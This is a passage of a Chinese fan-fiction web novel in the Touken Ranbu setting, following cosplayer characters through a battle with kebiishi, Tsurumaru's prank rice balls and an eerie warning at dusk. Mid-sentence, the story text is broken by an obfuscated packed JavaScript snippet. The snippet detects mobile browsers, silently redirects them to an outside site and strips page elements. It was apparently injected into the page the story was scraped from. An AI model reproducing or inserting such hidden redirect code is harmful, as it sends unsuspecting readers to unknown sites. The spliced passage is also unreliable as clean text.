爽朗的男声自侧面传来,和泉守兼定表情振奋,眸光锁定迎面而来的检非违使,跃跃欲试。 由于本丸的特殊性,最近多次出阵的和泉守兼定早已适应与检非违使交锋,在一次次的生死之际,他的实力飞速上涨着。 “不愧是兼先生啊。”堀川国广夸赞出声。 少年体型的胁差动作迅速地首冲入敌刀部队,与和泉守配合默契。 他们都不会害怕吗? 如果对战的是前几轮一样的溯行军,膝丸coser还乐于多砍杀敌刃,可如今面对着比自己强劲不知多少倍的对手,在生死不明情况下还有勇气冲锋,明明撤退部队的损失会更小…… 一抹混杂着灰色的白影略过膝丸coser身旁,青年下意识朝那道身影望去,漂亮的金发逆风飞扬起来,付丧神的背影无比坚定。 “上吧,即使是我这样的仿品,在这里也能争得一席之地吧。”山姥切国广厉喝,举刀挡下敌太的砍击,全力将其震退。 战场中央,〔髭切〕一击贯穿敌刀躯体,黑血四溅在他脸庞,又缓缓消散,比检非违使的哀嚎更响烈的是付丧神战意昂扬的嘶吼。 检非违使强大的压迫感,兵器相搏的铮铮声,身影旋转间扬起的烟尘,酣战的怒嚎和蔓延而来的血腥气将青年包围,温暖的阳光铺洒在他身上,膝丸coser却发自骨髓地打起寒颤。 强烈的割裂感让青年头晕目眩,仿佛隔了层厚厚毛玻璃,动弹不得。 原来如此,他们是刀剑,锻造出来便是服务于战斗,在战场上被折断才是正常的归宿。 但膝丸coser不是兵器,还有人等着他活着回去,他的归宿不在这里,而是亲友的左右。 膝丸coser握住刀剑的手竟微微地开始颤抖,兵器不会因胆怯而退缩,可由血肉之躯组成的coser会。 似乎想换换口味的直播球悄悄跟着膝丸coser一起来到外面,直播间的大家欣赏了整场激烈的打杀,注意力转移到一直僵硬站在后方的薄绿色头发的青年身上。 [弟弟丸这是怎么了?] [难道被吓傻了?不应该啊,武家刀这时候应该感到热血沸腾吧。] [不过实力差距确实有些大,犹豫是正常的。] [放心吧,很快弟丸就为了不负兄长的盛名而战斗啦!] [哦哦哦!动了动了!] 真是狼狈啊。 有敌刀发现躲在后面的青年,立即嘶吼着冲其杀过来。 膝丸coser挡下敌大太刀迎面挥来的斩击,靴底吃力地在地面划出两道痕迹,他深吸了口气,蓄力将敌刀震开,而后变换招式打算趁机横砍下敌大太首级。 就在此时,后背升起强烈的危机感,短促的疾风骤然袭来,膝丸coser攻击的动作来不及收回,余光发现一只苦无冲着他毫无防备的左后方刺来。 〔髭切〕猛然回头,奈何他此时距离膝丸coser还有段距离,又被敌刀缠身,无法及时赶到。 突然,绮丽的粉色瞬间移至青年身后,打刀轻松利落地将偷袭的苦无连腰切断,宗三左文字手腕扭转,不停歇地转而杀入对面的敌军。 膝丸coser借势将敌大太首落,他停在原地,喘着气看宗三左文字的战斗身姿。 粉发的付丧神战意高昂,手持打刀,身形如蝶般在敌刃间旋转,每次刀落都溅起肮脏的黑血。 好强,怪不得小乌coser会选择契约宗三左文字,脆弱的人类和忠诚强大的刀剑付丧神,任谁都会偏爱后者。 最后一振苟延残喘的敌刀也被〔髭切〕解决掉,战斗终于落下帷幕,付丧神们顾不得身上的伤口,开始在残骸中搜寻可以带回本丸的资源。 膝丸coser并未参与其中,他独自走到一处荫凉下,后背抵住粗糙的树干才没让自己脱力滑落在地。 青年目光回到手握着的太刀上,残留的黑血自刃尖滚落,刃面在小乌coser多日的灵力滋养下锋利如切割黑夜的一抹月华,膝丸coser却在明亮的刃面对上自己难看的哭脸。 “受伤了吗,哭哭丸也很厉害,迟早会变得更强的。” 柔和的嗓音传来,〔髭切〕用指腹轻柔地抹去青年眼角的泪珠,手掌托住青年的头,让陷入悲伤的膝丸coser靠在他肩上。 付丧神毛绒绒的衣领沾了灰尘,又被青年垂下的泪水打湿,膝丸coser抑制住抽噎,他后牙槽紧绷,却还是冒出了哭腔。 “没有哭,我再也不会像这样哭了。” 现在不被选择又如何? 等他成长到比所有人都强大的地步,小乌coser自然会知道谁才是最佳选择。 他绝对,绝对不会再退缩了! 21.第 21 章 厨房里,一道雪白的身影鬼鬼祟祟地在桌台前逗留,鹤丸国永手法熟练地将米饭握成团,外层包裹上一层海苔。 “大功告成!饭团的话,做到这种程度就足够了吧。” 趁着烛台切去取食材的空挡,鹤丸国永掀开灶台上氤氲着热气的锅盖,将捏好的饭团一齐放进去。 如果烛台切光忠在现场,他绝对会按住鹤丸国永作孽的爪子,然后连刃带盘子把鹤丸国永和他那卖相恐怖的饭团一起扔出厨房。 “没有惊吓的话人生岂不会无聊至死?”鹤丸伸伸懒腰,又给做饭的火添了把柴。 明明之前答应好要教会他做便当,结果光坊看了他的成品后连夜反悔,甚至还禁止他再进入厨房。说话不作数,怎么可以骗鹤呢! 脚步声由远及近,鹤丸国永立马竖起耳朵,辨别出来者后他迅速翻窗出去,躲在走廊另一面。 烛台切光忠抱着一麻袋食材回到厨房,他先把被虫蛀或坏掉的部分择去,准备清洗时却看见灶台下的火烧得愈来愈旺。照这个架势,里面焖的米饭指定糊锅,刷洗锅底很费时间。 “我记得没加多少柴吧,怎么烧得这么旺?” 付丧神心生疑惑,弯腰查看下面火势,发现灶里不知被谁塞了一大把干树枝进去,火苗燎得枯枝噼啪作响。 不妙的预感响起,烛台切掀开锅盖,蒸气升腾间,一盘子不可言状物摆在白花花的米饭上。前几天被折磨的记忆涌进脑海,烛台切光忠险些把手里的铁锅盖捏变形。 说时迟那时快,一道白影从窗边窜了进来,端起锅里的那盘东西就跑。 “鹤丸国永!”烛台切光忠伸手只来得及抓住付丧神衣摆带起的风。 太刀充分发挥了极化后的机动,抱着盘子飞速逃窜,很快消失在走廊尽头。 烛台切望着鹤丸国永远去的身影,满怀歉疚的合上眼。 对不起髭切殿,我还是没能拦下他,祝你好运吧。 成功制作完食物的鹤丸国永跑到无人的角落,连忙把手里滚烫的瓷盘放下,他吹吹被烫得通红的手心,掏出在厨房顺手牵羊的便当盒,把饭团装进去。 今早髭切和膝丸都在出阵部队,没有闲杂人等捣乱,最适合给好友送“惊喜”了,简直是天助鹤丸国永。 目测时间快到饭点,付丧神抱着便当盒目标准确地朝源氏部屋而去。临近晌午,天气愈发闷热起来,早晨不时的微风也停歇了,鹤丸一路跑过去感觉自己像是滚在蒸笼里的包子。 偌大的院子里寂静得落针可闻,一只幼鸦从树上飞下来,歪着脑袋观察来客。鹤丸国永擦擦额角的汗珠,半蹲下来给乌鸦打了声招呼。 “是你啊,小家伙,小乌在里面吗?” 幼鸦应了声,瞧着付丧神兀自思索片刻,扑棱一下飞走了。 付丧神沿着走廊来到小乌coser居住的和室,幛子门敞开着,透过几帐的白纱,有两道身影正坐在屋内。 “你们这是在玩什么游戏?”鹤丸国永踏进和室,好奇地问道。 盘腿而坐的少年闻声扭过头,看来战况不济,他整张脸都被粘上了白色纸条。小乌coser对面跪坐着的付丧神抬头,与少年惊人相似的脸庞只有稀少的两片纸条。 两人似乎并不惊讶鹤丸国永的到来,所以那只乌鸦果然是回去报信的吧。 虽然早就知道小乌身边有一振真正的髭切,但初次看到还是令鹤惊讶,以付丧神的姿态出现的髭切,身上那股强大的灵力更加明显了。简直就像是付丧神本身的力量,而不是由审神者所赋予的。 “好久不见,白给的惊吓不长翅膀丸。”奶金色头发的付丧神朝鹤丸扬手,他心情舒畅,笑容也真诚许多。 刚刚什么东西一大长串过去了,鹤丸国永眨眨眼,不在乎髭切对他的称呼,出于对游戏的好奇他凑近看了眼。 “原来是座敷遊び,你们还挺有兴致的。” 一种传统的艺伎游戏,需要配合简单的音乐节奏,利用身边普通的杯子或碗,按照规则交替伸手或握拳,考验双方反应力①。 小乌coser把用来玩耍的茶杯正过来,持续输游戏着实败坏心情,“无聊至极的把戏,下次别找我了。” 嘴里说着无聊实际上还是陪他玩了半天呢,髭切点头,探身过去帮少年清理脸上的纸条,“轻一点撕,会疼的。” 鹤丸国永将两人的互动纳入眼中,唇角的笑意淡去了几分,付丧神刻意咳嗽发出声响,然后在少年看过来的目光中将精心准备的饭团端上桌。 小乌coser眼神在饭盒和鹤丸脸上转了一圈,声音冷淡,“这是什么恶心东西,拿远点。” “不,这是我做的料理。”鹤丸国永双手揣进袖子,难得规矩地跪坐在少年对面。 “你拿垃圾当主食吗?真有特色。” 小乌coser礼貌微笑,心情奇差的他现在看谁都不顺眼,“恐怕我等无福消受了。” 鹤丸国永:“……” 虽然他确实不怀好意,但直接评判为垃圾会不会太过分了?原来真实性格如此恶毒吗,之前的随和是装出来的吗?! 有种白月光黑掉了的感觉。 “玩了那么久应该饿了吧?快尝尝我的爱心便当!” 鹤丸国永贴心地备至了木筷,将便当盒又往少年面前推推,神情期待,“这可是由小光倾情指导的秘制饭团!真的不试试吗?” 小乌coser对鹤丸的手艺表示怀疑,一脸嫌弃地吐槽,“真不是厨余垃圾吗?” 即使这么说了,在鹤丸国永再三请求下,小乌coser还是拿起一个黑不溜秋,据说是海苔馅料的紫米饭团,他咬了一口。 刚接触口腔时,它尚能称作食物,牙齿咬破表面的海苔后,夹生米饭在舌尖炸开,一种难以用言语形容的感觉瞬间袭击味蕾。大脑皮层仿佛都舒展开来,眼前白光乍现,魂魄都跟着飘飘欲飞。 小乌coser身体僵硬,直直地向后仰倒下去。守在身边的髭切及时把人捞回来,避免少年受到二次重创。 “哦哟,这是怎么了,难道有毒吗?” 奈何小乌coser已然听不清任何声音,付丧神干脆掰开少年的嘴,将里面残存的东西取出来,然后把人翻面,一下下轻拍少年的背。 好不容易缓过劲儿来,小乌coser虚弱地吐出口气,他余光注意到鹤丸国永表情里隐隐的不安。 白色付丧神眼里还含着奸计得逞的笑意,嘴边的弧度却略微局促,他似乎也没料到小乌coser会产生这么大的反应,踟蹰不前。 小乌coser伏在付丧神膝头,兀自抽噎了下,再次抬头时已是泪眼汪汪。髭切有些惊讶,他瞥了眼杵在一旁的鹤丸国永,轻拍少年脊背的手转而抚上其后脑。 “呜呜,我想到了我的父亲……”小乌coser断续地吐出话语,泪珠珍珠般砸进髭切掌心。 “父亲?”原本不安的鹤丸国永一愣,难道是在说小乌丸吗? “我的父亲他,他曾经教导我……”小乌coser咬住嘴唇,声音随着哭腔愈来愈小。 鹤丸国永蹲下来凑近两步,想要听清少年说的话。 就在这时,默默安抚少年的髭切突然出手,攻其不备,一把摁住滑不溜秋的鹤。 被措不及防制住的鹤丸国永意识到不对,他还没来得及挣脱,一只手轻易地掰开他的下巴,剩下的饭团全部被塞进鹤丸自己嘴巴里。 “呜噜噜噜噜噜……” 一阵不知所谓的响声过后,鹤丸倒地不起。 小乌coser歪头,看着不知道是被毒死还是噎死的鹤丸国永,温柔和煦地吐出后半句话。 “永远不要浪费食物,我的朋友。” ——鹤丸国永战线崩溃。 * 兴许是好久不曾睡过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065991|178687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个好觉,付丧神倒下后便陷入昏迷般的睡眠,要不是看鹤丸呼吸绵长均匀,小乌coser还以为他嘎巴一下死这了。 天色逐渐变得昏暗,等鹤丸国永醒来时,已经不知过去了多久。 鹤丸缓缓睁开眼,视野由模糊转为清晰,眼前的景象凝实了,一道身影替他挡下外面的阳光。 身影沐浴在夕阳里,整齐的黑发遮住半张侧脸,似乎察觉到他的苏醒,少年侧头逆光看过来,眉眼弯弯。 “没死啊你。” 小乌coser闪身,阳光射到鹤丸国永眼睛,付丧神哀嚎一声抱着被子滚了两圈。 鹤丸背对少年,有些不可思议,他竟然毫无警戒心地睡着了,“……真是吓到鹤了。” 小乌coser视线移到付丧神被袖子盖住的手,苍白的指尖偶尔小幅度地颤抖,他眉头一皱,“你还没有去治疗吗?” 那日髭切在后山震伤了鹤丸国永,髭切这家伙可完全没留手,伤势不说严重对生活还是有影响的,话说鹤丸国永难道就不觉得疼吗? 鹤丸愣了下,他确实没有去医治,付丧神的愈合速度要比常人更快,这些日子断掉的指骨差不多长好了。 “小乌在担心我吗,没事,只是被烫到了。”他本想就此将话题揭过去,转身却看见少年眼底的怜惜,整只鹤顿时僵住。 看戏的髭切转头看向小乌coser,漫不经心地补刀“关心的话被当作耳旁风了,真不愧是脚底抹油的谎话连篇丸。” 这下更是雪上加霜,鹤丸国永不堪重负,举手认输,他彻底妥协了。 ”我知道了,下次我会去治疗的。“ 小乌coser看他这副勉强的样子,想要不趁现在直接把鹤丸国永压去手入,总感觉不紧盯着这家伙绝对会逃跑的。 就在此时,少年突然顿了下,像是感应到了什么,扭头看向髭切。 鹤丸国永眸光闪动,他原先猜测是与少年灵力同源的那只乌鸦传递的信息,但看这样似乎小乌可以直接与共感,怪不得后山时小乌来得那么快。 “又有人来了,你要不要先回去?”小乌coser猜不准这刃的心思,太刀今天给他一种想摊牌的感觉。 虽然现身与否是髭切的自由,但小乌coser还不想太快自爆身份,鹤丸国永则不同,一开始就认出他来,再隐瞒也没有用处。 在少年目光里,髭切打了个哈欠,揉揉眼睛,“稍微有些累了,我先回去了哦。” 付丧神在眼前消失,室内剩下少年和鹤丸国永,走廊传来木屐落地的声响,来者有意暴露出行踪。 木屐声在门口处停下,小乌coser将幛门拉开,瘦小的身影出现在面前。 蓝色头发的短刀仰头向少年问好,确保其安全无恙后松了口气,而后目光落到室内的付丧神身上。 小乌coser余光扫过天边滚滚而来的红云,有些诧异,火烧云预兆明天多半是个大晴天,可在本丸灵力影响下,这些天都是将下不下的阴雨天气,怎么会有火烧云出现? “马上天黑了,很危险。”小夜左文字看向鹤丸国永,说完这句话后便不再言语。 鹤丸国永伸伸懒腰,他有些遗憾,和小乌相处的时间都被他用来睡觉了,“睡太香差点忘了,〔髭切〕今晚不在。” 夜晚危险和〔髭切〕又有什么关系?小乌coser反应不过来,小夜沉默寡言也就算了,怎么鹤丸国永也这种谜语人的调调。 “怎样,今天还是被我吓到了吧?”鹤丸国永跟着小夜踏出室内,不忘挤眉弄眼。 小乌coser面无表情地用力拉上幛子,合拢前却被一只手卡住,动弹不得。 鹤丸国永一手扒住幛门,血红色的虹膜被斜阳染成浓稠的糖色,透过门缝注视着少年,“逢魔时分,如果见到熟悉的人向你打招呼,可千万别答应。” “就算是我,也不要理会。”